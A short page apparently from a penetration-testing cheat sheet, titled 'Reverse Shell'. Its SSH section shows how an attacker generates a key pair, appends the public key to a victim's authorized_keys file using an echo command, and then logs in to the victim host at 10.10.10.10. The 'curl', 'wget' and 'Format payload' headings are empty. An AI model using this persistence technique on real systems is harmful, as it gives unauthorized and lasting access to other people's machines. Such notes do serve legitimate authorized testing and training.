Reverse Shell

SSH

authorized_keys file

First, in attacker machine we need to generate the keys:

ssh-keygen 

Two files are generated, id_rsa (private key) and id_rsa.pub (public key).

Copy the id_rsa.pub content and paste it in the victim file:/home/<user>/.ssh/authorized_keys

echo "<ID_RSA.PUB_CONTENT>" >> /home/carlitos/.ssh/authorized_keys

And finally, try to enter the victim machine:

ssh carlitos@10.10.10.10

curl

wget

Format payload

Last updated